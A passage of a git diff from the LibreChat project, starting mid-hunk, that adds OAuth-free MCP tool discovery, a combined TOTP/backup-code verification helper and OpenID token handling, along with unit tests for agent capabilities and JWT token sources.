+ * When OAuth is required, uses discovery mode to list tools without full authentication
+ * (per MCP spec, tool listing should be possible without auth).
* @param {Object} params
* @param {IUser} params.user - The user from the request object.
* @param {string} params.serverName - The name of the MCP server
@@ -14,7 +17,7 @@ const { getLogStores } = require('~/cache');
* @param {boolean} [params.forceNew]
* @param {number} [params.connectionTimeout]
* @param {FlowStateManager} [params.flowManager]
- * @param {(authURL: string) => Promise} [params.oauthStart]
+ * @param {(authURL: string) => Promise} [params.oauthStart]
* @param {Record>} [params.userMCPAuthMap]
*/
async function reinitMCPServer({
@@ -36,10 +39,39 @@ async function reinitMCPServer({
let tools = null;
let oauthRequired = false;
let oauthUrl = null;
+
try {
+ const registry = getMCPServersRegistry();
+ const serverConfig = await registry.getServerConfig(serverName, user?.id);
+ if (serverConfig?.inspectionFailed) {
+ logger.info(
+ `[MCP Reinitialize] Server ${serverName} had failed inspection, attempting reinspection`,
+ );
+ try {
+ const storageLocation = serverConfig.dbId ? 'DB' : 'CACHE';
+ await registry.reinspectServer(serverName, storageLocation, user?.id);
+ logger.info(`[MCP Reinitialize] Reinspection succeeded for server: ${serverName}`);
+ } catch (reinspectError) {
+ logger.error(
+ `[MCP Reinitialize] Reinspection failed for server ${serverName}:`,
+ reinspectError,
+ );
+ return {
+ availableTools: null,
+ success: false,
+ message: `MCP server '${serverName}' is still unreachable`,
+ oauthRequired: false,
+ serverName,
+ oauthUrl: null,
+ tools: null,
+ };
+ }
+ }
+
const customUserVars = userMCPAuthMap?.[`${Constants.mcp_prefix}${serverName}`];
const flowManager = _flowManager ?? getFlowStateManager(getLogStores(CacheKeys.FLOWS));
const mcpManager = getMCPManager();
+ const tokenMethods = { findToken, updateToken, createToken, deleteTokens };
const oauthStart =
_oauthStart ??
@@ -57,15 +89,10 @@ async function reinitMCPServer({
oauthStart,
serverName,
flowManager,
+ tokenMethods,
returnOnOAuth,
customUserVars,
connectionTimeout,
- tokenMethods: {
- findToken,
- updateToken,
- createToken,
- deleteTokens,
- },
});
logger.info(`[MCP Reinitialize] Successfully established connection for ${serverName}`);
@@ -84,9 +111,33 @@ async function reinitMCPServer({
if (isOAuthError || oauthRequired || isOAuthFlowInitiated) {
logger.info(
- `[MCP Reinitialize] OAuth required for ${serverName} (isOAuthError: ${isOAuthError}, oauthRequired: ${oauthRequired}, isOAuthFlowInitiated: ${isOAuthFlowInitiated})`,
+ `[MCP Reinitialize] OAuth required for ${serverName}, attempting tool discovery without auth`,
);
oauthRequired = true;
+
+ try {
+ const discoveryResult = await mcpManager.discoverServerTools({
+ user,
+ signal,
+ serverName,
+ flowManager,
+ tokenMethods,
+ oauthStart,
+ customUserVars,
+ connectionTimeout,
+ });
+
+ if (discoveryResult.tools && discoveryResult.tools.length > 0) {
+ tools = discoveryResult.tools;
+ logger.info(
+ `[MCP Reinitialize] Discovered ${tools.length} tools for ${serverName} without full auth`,
+ );
+ }
+ } catch (discoveryErr) {
+ logger.debug(
+ `[MCP Reinitialize] Tool discovery failed for ${serverName}: ${discoveryErr?.message ?? String(discoveryErr)}`,
+ );
+ }
} else {
logger.error(
`[MCP Reinitialize] Error initializing MCP server ${serverName} for user:`,
@@ -97,6 +148,9 @@ async function reinitMCPServer({
if (connection && !oauthRequired) {
tools = await connection.fetchTools();
+ }
+
+ if (tools && tools.length > 0) {
availableTools = await updateMCPServerTools({
userId: user.id,
serverName,
@@ -109,6 +163,9 @@ async function reinitMCPServer({
);
const getResponseMessage = () => {
+ if (oauthRequired && tools && tools.length > 0) {
+ return `MCP server '${serverName}' tools discovered, OAuth required for execution`;
+ }
if (oauthRequired) {
return `MCP server '${serverName}' ready for OAuth authentication`;
}
@@ -120,19 +177,25 @@ async function reinitMCPServer({
const result = {
availableTools,
- success: Boolean((connection && !oauthRequired) || (oauthRequired && oauthUrl)),
+ success: Boolean(
+ (connection && !oauthRequired) ||
+ (oauthRequired && oauthUrl) ||
+ (tools && tools.length > 0),
+ ),
message: getResponseMessage(),
oauthRequired,
serverName,
oauthUrl,
tools,
};
+
logger.debug(`[MCP Reinitialize] Response for ${serverName}:`, {
success: result.success,
oauthRequired: result.oauthRequired,
oauthUrl: result.oauthUrl ? 'present' : null,
toolsCount: tools?.length ?? 0,
});
+
return result;
} catch (error) {
logger.error(
diff --git a/api/server/services/__tests__/ToolService.spec.js b/api/server/services/__tests__/ToolService.spec.js
new file mode 100644
index 0000000000..c44298b09c
--- /dev/null
+++ b/api/server/services/__tests__/ToolService.spec.js
@@ -0,0 +1,202 @@
+const {
+ Constants,
+ AgentCapabilities,
+ defaultAgentCapabilities,
+} = require('librechat-data-provider');
+
+/**
+ * Tests for ToolService capability checking logic.
+ * The actual loadAgentTools function has many dependencies, so we test
+ * the capability checking logic in isolation.
+ */
+describe('ToolService - Capability Checking', () => {
+ describe('checkCapability logic', () => {
+ /**
+ * Simulates the checkCapability function from loadAgentTools
+ */
+ const createCheckCapability = (enabledCapabilities, logger = { warn: jest.fn() }) => {
+ return (capability) => {
+ const enabled = enabledCapabilities.has(capability);
+ if (!enabled) {
+ const isToolCapability = [
+ AgentCapabilities.file_search,
+ AgentCapabilities.execute_code,
+ AgentCapabilities.web_search,
+ ].includes(capability);
+ const suffix = isToolCapability ? ' despite configured tool.' : '.';
+ logger.warn(`Capability "${capability}" disabled${suffix}`);
+ }
+ return enabled;
+ };
+ };
+
+ it('should return true when capability is enabled', () => {
+ const enabledCapabilities = new Set([AgentCapabilities.deferred_tools]);
+ const checkCapability = createCheckCapability(enabledCapabilities);
+
+ expect(checkCapability(AgentCapabilities.deferred_tools)).toBe(true);
+ });
+
+ it('should return false when capability is not enabled', () => {
+ const enabledCapabilities = new Set([]);
+ const checkCapability = createCheckCapability(enabledCapabilities);
+
+ expect(checkCapability(AgentCapabilities.deferred_tools)).toBe(false);
+ });
+
+ it('should log warning with "despite configured tool" for tool capabilities', () => {
+ const logger = { warn: jest.fn() };
+ const enabledCapabilities = new Set([]);
+ const checkCapability = createCheckCapability(enabledCapabilities, logger);
+
+ checkCapability(AgentCapabilities.file_search);
+ expect(logger.warn).toHaveBeenCalledWith(expect.stringContaining('despite configured tool'));
+
+ logger.warn.mockClear();
+ checkCapability(AgentCapabilities.execute_code);
+ expect(logger.warn).toHaveBeenCalledWith(expect.stringContaining('despite configured tool'));
+
+ logger.warn.mockClear();
+ checkCapability(AgentCapabilities.web_search);
+ expect(logger.warn).toHaveBeenCalledWith(expect.stringContaining('despite configured tool'));
+ });
+
+ it('should log warning without "despite configured tool" for non-tool capabilities', () => {
+ const logger = { warn: jest.fn() };
+ const enabledCapabilities = new Set([]);
+ const checkCapability = createCheckCapability(enabledCapabilities, logger);
+
+ checkCapability(AgentCapabilities.deferred_tools);
+ expect(logger.warn).toHaveBeenCalledWith(
+ expect.stringContaining('Capability "deferred_tools" disabled.'),
+ );
+ expect(logger.warn).not.toHaveBeenCalledWith(
+ expect.stringContaining('despite configured tool'),
+ );
+
+ logger.warn.mockClear();
+ checkCapability(AgentCapabilities.tools);
+ expect(logger.warn).toHaveBeenCalledWith(
+ expect.stringContaining('Capability "tools" disabled.'),
+ );
+ expect(logger.warn).not.toHaveBeenCalledWith(
+ expect.stringContaining('despite configured tool'),
+ );
+
+ logger.warn.mockClear();
+ checkCapability(AgentCapabilities.actions);
+ expect(logger.warn).toHaveBeenCalledWith(
+ expect.stringContaining('Capability "actions" disabled.'),
+ );
+ });
+
+ it('should not log warning when capability is enabled', () => {
+ const logger = { warn: jest.fn() };
+ const enabledCapabilities = new Set([
+ AgentCapabilities.deferred_tools,
+ AgentCapabilities.file_search,
+ ]);
+ const checkCapability = createCheckCapability(enabledCapabilities, logger);
+
+ checkCapability(AgentCapabilities.deferred_tools);
+ checkCapability(AgentCapabilities.file_search);
+
+ expect(logger.warn).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('defaultAgentCapabilities', () => {
+ it('should include deferred_tools capability by default', () => {
+ expect(defaultAgentCapabilities).toContain(AgentCapabilities.deferred_tools);
+ });
+
+ it('should include all expected default capabilities', () => {
+ expect(defaultAgentCapabilities).toContain(AgentCapabilities.execute_code);
+ expect(defaultAgentCapabilities).toContain(AgentCapabilities.file_search);
+ expect(defaultAgentCapabilities).toContain(AgentCapabilities.web_search);
+ expect(defaultAgentCapabilities).toContain(AgentCapabilities.artifacts);
+ expect(defaultAgentCapabilities).toContain(AgentCapabilities.actions);
+ expect(defaultAgentCapabilities).toContain(AgentCapabilities.context);
+ expect(defaultAgentCapabilities).toContain(AgentCapabilities.tools);
+ expect(defaultAgentCapabilities).toContain(AgentCapabilities.chain);
+ expect(defaultAgentCapabilities).toContain(AgentCapabilities.ocr);
+ });
+ });
+
+ describe('userMCPAuthMap gating', () => {
+ /**
+ * Simulates the guard condition used in both loadToolDefinitionsWrapper
+ * and loadAgentTools to decide whether getUserMCPAuthMap should be called.
+ */
+ const shouldFetchMCPAuth = (tools) =>
+ tools?.some((t) => t.includes(Constants.mcp_delimiter)) ?? false;
+
+ it('should return true when agent has MCP tools', () => {
+ const tools = ['web_search', `search${Constants.mcp_delimiter}my-mcp-server`, 'calculator'];
+ expect(shouldFetchMCPAuth(tools)).toBe(true);
+ });
+
+ it('should return false when agent has no MCP tools', () => {
+ const tools = ['web_search', 'calculator', 'code_interpreter'];
+ expect(shouldFetchMCPAuth(tools)).toBe(false);
+ });
+
+ it('should return false when tools is empty', () => {
+ expect(shouldFetchMCPAuth([])).toBe(false);
+ });
+
+ it('should return false when tools is undefined', () => {
+ expect(shouldFetchMCPAuth(undefined)).toBe(false);
+ });
+
+ it('should return false when tools is null', () => {
+ expect(shouldFetchMCPAuth(null)).toBe(false);
+ });
+
+ it('should detect MCP tools with different server names', () => {
+ const tools = [
+ `listFiles${Constants.mcp_delimiter}file-server`,
+ `query${Constants.mcp_delimiter}db-server`,
+ ];
+ expect(shouldFetchMCPAuth(tools)).toBe(true);
+ });
+
+ it('should return true even when only one tool is MCP', () => {
+ const tools = [
+ 'web_search',
+ 'calculator',
+ 'code_interpreter',
+ `echo${Constants.mcp_delimiter}test-server`,
+ ];
+ expect(shouldFetchMCPAuth(tools)).toBe(true);
+ });
+ });
+
+ describe('deferredToolsEnabled integration', () => {
+ it('should correctly determine deferredToolsEnabled from capabilities set', () => {
+ const createCheckCapability = (enabledCapabilities) => {
+ return (capability) => enabledCapabilities.has(capability);
+ };
+
+ // When deferred_tools is in capabilities
+ const withDeferred = new Set([AgentCapabilities.deferred_tools, AgentCapabilities.tools]);
+ const checkWithDeferred = createCheckCapability(withDeferred);
+ expect(checkWithDeferred(AgentCapabilities.deferred_tools)).toBe(true);
+
+ // When deferred_tools is NOT in capabilities
+ const withoutDeferred = new Set([AgentCapabilities.tools, AgentCapabilities.actions]);
+ const checkWithoutDeferred = createCheckCapability(withoutDeferred);
+ expect(checkWithoutDeferred(AgentCapabilities.deferred_tools)).toBe(false);
+ });
+
+ it('should use defaultAgentCapabilities when no capabilities configured', () => {
+ // Simulates the fallback behavior in loadAgentTools
+ const endpointsConfig = {}; // No capabilities configured
+ const enabledCapabilities = new Set(
+ endpointsConfig?.capabilities ?? defaultAgentCapabilities,
+ );
+
+ expect(enabledCapabilities.has(AgentCapabilities.deferred_tools)).toBe(true);
+ });
+ });
+});
diff --git a/api/server/services/initializeMCPs.spec.js b/api/server/services/initializeMCPs.spec.js
index e37e12c356..d72fda0e00 100644
--- a/api/server/services/initializeMCPs.spec.js
+++ b/api/server/services/initializeMCPs.spec.js
@@ -3,8 +3,8 @@
*
* These tests verify that MCPServersRegistry and MCPManager are ALWAYS initialized,
* even when no explicitly configured MCP servers exist. This is critical for the
- * "Dynamic MCP Server Management" feature (v0.8.2-rc1) which allows users to
- * add MCP servers via the UI without requiring explicit configuration.
+ * "Dynamic MCP Server Management" feature (introduced in `0.8.2-rc1` release) which
+ * allows users to add MCP servers via the UI without requiring explicit configuration.
*
* Bug fixed: Previously, MCPManager was only initialized when mcpServers existed
* in librechat.yaml, causing "MCPManager has not been initialized" errors when
diff --git a/api/server/services/start/tools.js b/api/server/services/start/tools.js
index dd2d69b274..8dc8475f7f 100644
--- a/api/server/services/start/tools.js
+++ b/api/server/services/start/tools.js
@@ -107,22 +107,33 @@ function loadAndFormatTools({ directory, adminFilter = [], adminIncluded = [] })
}, {});
}
+/**
+ * Checks if a schema is a Zod schema by looking for the _def property
+ * @param {unknown} schema - The schema to check
+ * @returns {boolean} True if it's a Zod schema
+ */
+function isZodSchema(schema) {
+ return schema && typeof schema === 'object' && '_def' in schema;
+}
+
/**
* Formats a `StructuredTool` instance into a format that is compatible
* with OpenAI's ChatCompletionFunctions. It uses the `zodToJsonSchema`
* function to convert the schema of the `StructuredTool` into a JSON
* schema, which is then used as the parameters for the OpenAI function.
+ * If the schema is already a JSON schema, it is used directly.
*
* @param {StructuredTool} tool - The StructuredTool to format.
* @returns {FunctionTool} The OpenAI Assistant Tool.
*/
function formatToOpenAIAssistantTool(tool) {
+ const parameters = isZodSchema(tool.schema) ? zodToJsonSchema(tool.schema) : tool.schema;
return {
type: Tools.function,
[Tools.function]: {
name: tool.name,
description: tool.description,
- parameters: zodToJsonSchema(tool.schema),
+ parameters,
},
};
}
diff --git a/api/server/services/twoFactorService.js b/api/server/services/twoFactorService.js
index cce24e2322..313c557133 100644
--- a/api/server/services/twoFactorService.js
+++ b/api/server/services/twoFactorService.js
@@ -153,9 +153,11 @@ const generateBackupCodes = async (count = 10) => {
* @param {Object} params
* @param {Object} params.user
* @param {string} params.backupCode
+ * @param {boolean} [params.persist=true] - Whether to persist the used-mark to the database.
+ * Pass `false` when the caller will immediately overwrite `backupCodes` (e.g. re-enrollment).
* @returns {Promise}
*/
-const verifyBackupCode = async ({ user, backupCode }) => {
+const verifyBackupCode = async ({ user, backupCode, persist = true }) => {
if (!backupCode || !user || !Array.isArray(user.backupCodes)) {
return false;
}
@@ -165,17 +167,50 @@ const verifyBackupCode = async ({ user, backupCode }) => {
(codeObj) => codeObj.codeHash === hashedInput && !codeObj.used,
);
- if (matchingCode) {
+ if (!matchingCode) {
+ return false;
+ }
+
+ if (persist) {
const updatedBackupCodes = user.backupCodes.map((codeObj) =>
codeObj.codeHash === hashedInput && !codeObj.used
? { ...codeObj, used: true, usedAt: new Date() }
: codeObj,
);
- // Update the user record with the marked backup code.
await updateUser(user._id, { backupCodes: updatedBackupCodes });
- return true;
}
- return false;
+ return true;
+};
+
+/**
+ * Verifies a user's identity via TOTP token or backup code.
+ * @param {Object} params
+ * @param {Object} params.user - The user document (must include totpSecret and backupCodes).
+ * @param {string} [params.token] - A 6-digit TOTP token.
+ * @param {string} [params.backupCode] - An 8-character backup code.
+ * @param {boolean} [params.persistBackupUse=true] - Whether to mark the backup code as used in the DB.
+ * @returns {Promise<{ verified: boolean, status?: number, message?: string }>}
+ */
+const verifyOTPOrBackupCode = async ({ user, token, backupCode, persistBackupUse = true }) => {
+ if (!token && !backupCode) {
+ return { verified: false, status: 400 };
+ }
+
+ if (token) {
+ const secret = await getTOTPSecret(user.totpSecret);
+ if (!secret) {
+ return { verified: false, status: 400, message: '2FA secret is missing or corrupted' };
+ }
+ const ok = await verifyTOTP(secret, token);
+ return ok
+ ? { verified: true }
+ : { verified: false, status: 401, message: 'Invalid token or backup code' };
+ }
+
+ const ok = await verifyBackupCode({ user, backupCode, persist: persistBackupUse });
+ return ok
+ ? { verified: true }
+ : { verified: false, status: 401, message: 'Invalid token or backup code' };
};
/**
@@ -213,11 +248,12 @@ const generate2FATempToken = (userId) => {
};
module.exports = {
- generateTOTPSecret,
- generateTOTP,
- verifyTOTP,
+ verifyOTPOrBackupCode,
+ generate2FATempToken,
generateBackupCodes,
+ generateTOTPSecret,
verifyBackupCode,
getTOTPSecret,
- generate2FATempToken,
+ generateTOTP,
+ verifyTOTP,
};
diff --git a/api/server/socialLogins.js b/api/server/socialLogins.js
index cf67fa9436..a84c33bd52 100644
--- a/api/server/socialLogins.js
+++ b/api/server/socialLogins.js
@@ -1,7 +1,7 @@
const passport = require('passport');
const session = require('express-session');
-const { isEnabled } = require('@librechat/api');
const { CacheKeys } = require('librechat-data-provider');
+const { isEnabled, shouldUseSecureCookie } = require('@librechat/api');
const { logger, DEFAULT_SESSION_EXPIRY } = require('@librechat/data-schemas');
const {
openIdJwtLogin,
@@ -15,38 +15,6 @@ const {
} = require('~/strategies');
const { getLogStores } = require('~/cache');
-/**
- * Determines if secure cookies should be used.
- * Only use secure cookies in production when not on localhost.
- * @returns {boolean}
- */
-function shouldUseSecureCookie() {
- const isProduction = process.env.NODE_ENV === 'production';
- const domainServer = process.env.DOMAIN_SERVER || '';
-
- let hostname = '';
- if (domainServer) {
- try {
- const normalized = /^https?:\/\//i.test(domainServer)
- ? domainServer
- : `http://${domainServer}`;
- const url = new URL(normalized);
- hostname = (url.hostname || '').toLowerCase();
- } catch {
- // Fallback: treat DOMAIN_SERVER directly as a hostname-like string
- hostname = domainServer.toLowerCase();
- }
- }
-
- const isLocalhost =
- hostname === 'localhost' ||
- hostname === '127.0.0.1' ||
- hostname === '::1' ||
- hostname.endsWith('.localhost');
-
- return isProduction && !isLocalhost;
-}
-
/**
* Configures OpenID Connect for the application.
* @param {Express.Application} app - The Express application instance.
diff --git a/api/server/utils/import/fork.js b/api/server/utils/import/fork.js
index c4ce8cb5d4..f896de378c 100644
--- a/api/server/utils/import/fork.js
+++ b/api/server/utils/import/fork.js
@@ -358,16 +358,15 @@ function splitAtTargetLevel(messages, targetMessageId) {
* @param {object} params - The parameters for duplicating the conversation.
* @param {string} params.userId - The ID of the user duplicating the conversation.
* @param {string} params.conversationId - The ID of the conversation to duplicate.
+ * @param {string} [params.title] - Optional title override for the duplicate.
* @returns {Promise<{ conversation: TConversation, messages: TMessage[] }>} The duplicated conversation and messages.
*/
-async function duplicateConversation({ userId, conversationId }) {
- // Get original conversation
+async function duplicateConversation({ userId, conversationId, title }) {
const originalConvo = await getConvo(userId, conversationId);
if (!originalConvo) {
throw new Error('Conversation not found');
}
- // Get original messages
const originalMessages = await getMessages({
user: userId,
conversationId,
@@ -383,14 +382,11 @@ async function duplicateConversation({ userId, conversationId }) {
cloneMessagesWithTimestamps(messagesToClone, importBatchBuilder);
- const result = importBatchBuilder.finishConversation(
- originalConvo.title,
- new Date(),
- originalConvo,
- );
+ const duplicateTitle = title || originalConvo.title;
+ const result = importBatchBuilder.finishConversation(duplicateTitle, new Date(), originalConvo);
await importBatchBuilder.saveBatch();
logger.debug(
- `user: ${userId} | New conversation "${originalConvo.title}" duplicated from conversation ID ${conversationId}`,
+ `user: ${userId} | New conversation "${duplicateTitle}" duplicated from conversation ID ${conversationId}`,
);
const conversation = await getConvo(userId, result.conversation.conversationId);
diff --git a/api/server/utils/import/importConversations.js b/api/server/utils/import/importConversations.js
index d9e4d4332d..e56176c609 100644
--- a/api/server/utils/import/importConversations.js
+++ b/api/server/utils/import/importConversations.js
@@ -1,7 +1,10 @@
const fs = require('fs').promises;
+const { resolveImportMaxFileSize } = require('@librechat/api');
const { logger } = require('@librechat/data-schemas');
const { getImporter } = require('./importers');
+const maxFileSize = resolveImportMaxFileSize();
+
/**
* Job definition for importing a conversation.
* @param {{ filepath, requestUserId }} job - The job object.
@@ -11,11 +14,10 @@ const importConversations = async (job) => {
try {
logger.debug(`user: ${requestUserId} | Importing conversation(s) from file...`);
- /* error if file is too large */
const fileInfo = await fs.stat(filepath);
- if (fileInfo.size > process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES) {
+ if (fileInfo.size > maxFileSize) {
throw new Error(
- `File size is ${fileInfo.size} bytes. It exceeds the maximum limit of ${process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES} bytes.`,
+ `File size is ${fileInfo.size} bytes. It exceeds the maximum limit of ${maxFileSize} bytes.`,
);
}
diff --git a/api/server/utils/import/importers.spec.js b/api/server/utils/import/importers.spec.js
index a695a31555..2ddfa76658 100644
--- a/api/server/utils/import/importers.spec.js
+++ b/api/server/utils/import/importers.spec.js
@@ -1277,12 +1277,9 @@ describe('processAssistantMessage', () => {
results.push(duration);
});
- // Check if processing time increases exponentially
- // In a ReDoS vulnerability, time would roughly double with each size increase
- for (let i = 1; i < results.length; i++) {
- const ratio = results[i] / results[i - 1];
- expect(ratio).toBeLessThan(3); // Allow for CI environment variability while still catching ReDoS
- console.log(`Size ${sizes[i]} processing time ratio: ${ratio}`);
+ // Each size should complete well under 100ms; a ReDoS would cause exponential blowup
+ for (let i = 0; i < results.length; i++) {
+ expect(results[i]).toBeLessThan(100);
}
// Also test with the exact payload from the security report
diff --git a/api/strategies/index.js b/api/strategies/index.js
index 725e04224a..9a1c58ad38 100644
--- a/api/strategies/index.js
+++ b/api/strategies/index.js
@@ -1,14 +1,14 @@
-const appleLogin = require('./appleStrategy');
+const { setupOpenId, getOpenIdConfig, getOpenIdEmail } = require('./openidStrategy');
+const openIdJwtLogin = require('./openIdJwtStrategy');
+const facebookLogin = require('./facebookStrategy');
+const discordLogin = require('./discordStrategy');
const passportLogin = require('./localStrategy');
const googleLogin = require('./googleStrategy');
const githubLogin = require('./githubStrategy');
-const discordLogin = require('./discordStrategy');
-const facebookLogin = require('./facebookStrategy');
-const { setupOpenId, getOpenIdConfig } = require('./openidStrategy');
-const jwtLogin = require('./jwtStrategy');
-const ldapLogin = require('./ldapStrategy');
const { setupSaml } = require('./samlStrategy');
-const openIdJwtLogin = require('./openIdJwtStrategy');
+const appleLogin = require('./appleStrategy');
+const ldapLogin = require('./ldapStrategy');
+const jwtLogin = require('./jwtStrategy');
module.exports = {
appleLogin,
@@ -20,6 +20,7 @@ module.exports = {
facebookLogin,
setupOpenId,
getOpenIdConfig,
+ getOpenIdEmail,
ldapLogin,
setupSaml,
openIdJwtLogin,
diff --git a/api/strategies/openIdJwtStrategy.js b/api/strategies/openIdJwtStrategy.js
index df318ca30e..83a40bf948 100644
--- a/api/strategies/openIdJwtStrategy.js
+++ b/api/strategies/openIdJwtStrategy.js
@@ -5,6 +5,7 @@ const { HttpsProxyAgent } = require('https-proxy-agent');
const { SystemRoles } = require('librechat-data-provider');
const { isEnabled, findOpenIDUser, math } = require('@librechat/api');
const { Strategy: JwtStrategy, ExtractJwt } = require('passport-jwt');
+const { getOpenIdEmail } = require('./openidStrategy');
const { updateUser, findUser } = require('~/models');
/**
@@ -53,7 +54,7 @@ const openIdJwtLogin = (openIdConfig) => {
const { user, error, migration } = await findOpenIDUser({
findUser,
- email: payload?.email,
+ email: payload ? getOpenIdEmail(payload) : undefined,
openidId: payload?.sub,
idOnTheSource: payload?.oid,
strategyName: 'openIdJwtLogin',
@@ -84,19 +85,21 @@ const openIdJwtLogin = (openIdConfig) => {
/** Read tokens from session (server-side) to avoid large cookie issues */
const sessionTokens = req.session?.openidTokens;
let accessToken = sessionTokens?.accessToken;
+ let idToken = sessionTokens?.idToken;
let refreshToken = sessionTokens?.refreshToken;
/** Fallback to cookies for backward compatibility */
- if (!accessToken || !refreshToken) {
+ if (!accessToken || !refreshToken || !idToken) {
const cookieHeader = req.headers.cookie;
const parsedCookies = cookieHeader ? cookies.parse(cookieHeader) : {};
accessToken = accessToken || parsedCookies.openid_access_token;
+ idToken = idToken || parsedCookies.openid_id_token;
refreshToken = refreshToken || parsedCookies.refreshToken;
}
user.federatedTokens = {
access_token: accessToken || rawToken,
- id_token: rawToken,
+ id_token: idToken,
refresh_token: refreshToken,
expires_at: payload.exp,
};
diff --git a/api/strategies/openIdJwtStrategy.spec.js b/api/strategies/openIdJwtStrategy.spec.js
new file mode 100644
index 0000000000..79af848046
--- /dev/null
+++ b/api/strategies/openIdJwtStrategy.spec.js
@@ -0,0 +1,347 @@
+const { SystemRoles } = require('librechat-data-provider');
+
+// --- Capture the verify callback from JwtStrategy ---
+let capturedVerifyCallback;
+jest.mock('passport-jwt', () => ({
+ Strategy: jest.fn((_opts, verifyCallback) => {
+ capturedVerifyCallback = verifyCallback;
+ return { name: 'jwt' };
+ }),
+ ExtractJwt: {
+ fromAuthHeaderAsBearerToken: jest.fn(() => 'mock-extractor'),
+ },
+}));
+jest.mock('jwks-rsa', () => ({
+ passportJwtSecret: jest.fn(() => 'mock-secret-provider'),
+}));
+jest.mock('https-proxy-agent', () => ({
+ HttpsProxyAgent: jest.fn(),
+}));
+jest.mock('@librechat/data-schemas', () => ({
+ logger: { info: jest.fn(), warn: jest.fn(), debug: jest.fn(), error: jest.fn() },
+}));
+jest.mock('@librechat/api', () => ({
+ isEnabled: jest.fn(() => false),
+ findOpenIDUser: jest.fn(),
+ math: jest.fn((val, fallback) => fallback),
+}));
+jest.mock('~/models', () => ({
+ findUser: jest.fn(),
+ updateUser: jest.fn(),
+}));
+jest.mock('~/server/services/Files/strategies', () => ({
+ getStrategyFunctions: jest.fn(() => ({
+ saveBuffer: jest.fn().mockResolvedValue('/fake/path/to/avatar.png'),
+ })),
+}));
+jest.mock('~/server/services/Config', () => ({
+ getAppConfig: jest.fn().mockResolvedValue({}),
+}));
+jest.mock('~/cache/getLogStores', () =>
+ jest.fn().mockReturnValue({ get: jest.fn(), set: jest.fn() }),
+);
+
+const { findOpenIDUser } = require('@librechat/api');
+const openIdJwtLogin = require('./openIdJwtStrategy');
+const { findUser, updateUser } = require('~/models');
+
+// Helper: build a mock openIdConfig
+const mockOpenIdConfig = {
+ serverMetadata: () => ({ jwks_uri: 'https://example.com/.well-known/jwks.json' }),
+};
+
+// Helper: invoke the captured verify callback
+async function invokeVerify(req, payload) {
+ return new Promise((resolve, reject) => {
+ capturedVerifyCallback(req, payload, (err, user, info) => {
+ if (err) {
+ return reject(err);
+ }
+ resolve({ user, info });
+ });
+ });
+}
+
+describe('openIdJwtStrategy – token source handling', () => {
+ const baseUser = {
+ _id: { toString: () => 'user-abc' },
+ role: SystemRoles.USER,
+ provider: 'openid',
+ };
+
+ const payload = { sub: 'oidc-123', email: 'test@example.com', exp: 9999999999 };
+
+ beforeEach(() => {
+ jest.clearAllMocks();
+ findOpenIDUser.mockResolvedValue({ user: { ...baseUser }, error: null, migration: false });
+ updateUser.mockResolvedValue({});
+
+ // Initialize the strategy so capturedVerifyCallback is set
+ openIdJwtLogin(mockOpenIdConfig);
+ });
+
+ it('should read all tokens from session when available', async () => {
+ const req = {
+ headers: { authorization: 'Bearer raw-bearer-token' },
+ session: {
+ openidTokens: {
+ accessToken: 'session-access',
+ idToken: 'session-id',
+ refreshToken: 'session-refresh',
+ },
+ },
+ };
+
+ const { user } = await invokeVerify(req, payload);
+
+ expect(user.federatedTokens).toEqual({
+ access_token: 'session-access',
+ id_token: 'session-id',
+ refresh_token: 'session-refresh',
+ expires_at: payload.exp,
+ });
+ });
+
+ it('should fall back to cookies when session is absent', async () => {
+ const req = {
+ headers: {
+ authorization: 'Bearer raw-bearer-token',
+ cookie:
+ 'openid_access_token=cookie-access; openid_id_token=cookie-id; refreshToken=cookie-refresh',
+ },
+ };
+
+ const { user } = await invokeVerify(req, payload);
+
+ expect(user.federatedTokens).toEqual({
+ access_token: 'cookie-access',
+ id_token: 'cookie-id',
+ refresh_token: 'cookie-refresh',
+ expires_at: payload.exp,
+ });
+ });
+
+ it('should fall back to cookie for idToken only when session lacks it', async () => {
+ const req = {
+ headers: {
+ authorization: 'Bearer raw-bearer-token',
+ cookie: 'openid_id_token=cookie-id',
+ },
+ session: {
+ openidTokens: {
+ accessToken: 'session-access',
+ // idToken intentionally missing
+ refreshToken: 'session-refresh',
+ },
+ },
+ };
+
+ const { user } = await invokeVerify(req, payload);
+
+ expect(user.federatedTokens).toEqual({
+ access_token: 'session-access',
+ id_token: 'cookie-id',
+ refresh_token: 'session-refresh',
+ expires_at: payload.exp,
+ });
+ });
+
+ it('should use raw Bearer token as access_token fallback when neither session nor cookie has one', async () => {
+ const req = {
+ headers: {
+ authorization: 'Bearer raw-bearer-token',
+ cookie: 'openid_id_token=cookie-id; refreshToken=cookie-refresh',
+ },
+ };
+
+ const { user } = await invokeVerify(req, payload);
+
+ expect(user.federatedTokens.access_token).toBe('raw-bearer-token');
+ expect(user.federatedTokens.id_token).toBe('cookie-id');
+ expect(user.federatedTokens.refresh_token).toBe('cookie-refresh');
+ });
+
+ it('should set id_token to undefined when not available in session or cookies', async () => {
+ const req = {
+ headers: {
+ authorization: 'Bearer raw-bearer-token',
+ cookie: 'openid_access_token=cookie-access; refreshToken=cookie-refresh',
+ },
+ };
+
+ const { user } = await invokeVerify(req, payload);
+
+ expect(user.federatedTokens.access_token).toBe('cookie-access');
+ expect(user.federatedTokens.id_token).toBeUndefined();
+ expect(user.federatedTokens.refresh_token).toBe('cookie-refresh');
+ });
+
+ it('should keep id_token and access_token as distinct values from cookies', async () => {
+ const req = {
+ headers: {
+ authorization: 'Bearer raw-bearer-token',
+ cookie:
+ 'openid_access_token=the-access-token; openid_id_token=the-id-token; refreshToken=the-refresh',
+ },
+ };
+
+ const { user } = await invokeVerify(req, payload);
+
+ expect(user.federatedTokens.access_token).toBe('the-access-token');
+ expect(user.federatedTokens.id_token).toBe('the-id-token');
+ expect(user.federatedTokens.access_token).not.toBe(user.federatedTokens.id_token);
+ });
+});
+
+describe('openIdJwtStrategy – OPENID_EMAIL_CLAIM', () => {
+ const payload = {
+ sub: 'oidc-123',
+ email: 'test@example.com',
+ preferred_username: 'testuser',
+ upn: 'test@corp.example.com',
+ exp: 9999999999,
+ };
+
+ beforeEach(() => {
+ jest.clearAllMocks();
+ delete process.env.OPENID_EMAIL_CLAIM;
+
+ // Use real findOpenIDUser so it delegates to the findUser mock
+ const realFindOpenIDUser = jest.requireActual('@librechat/api').findOpenIDUser;
+ findOpenIDUser.mockImplementation(realFindOpenIDUser);
+
+ findUser.mockResolvedValue(null);
+ updateUser.mockResolvedValue({});
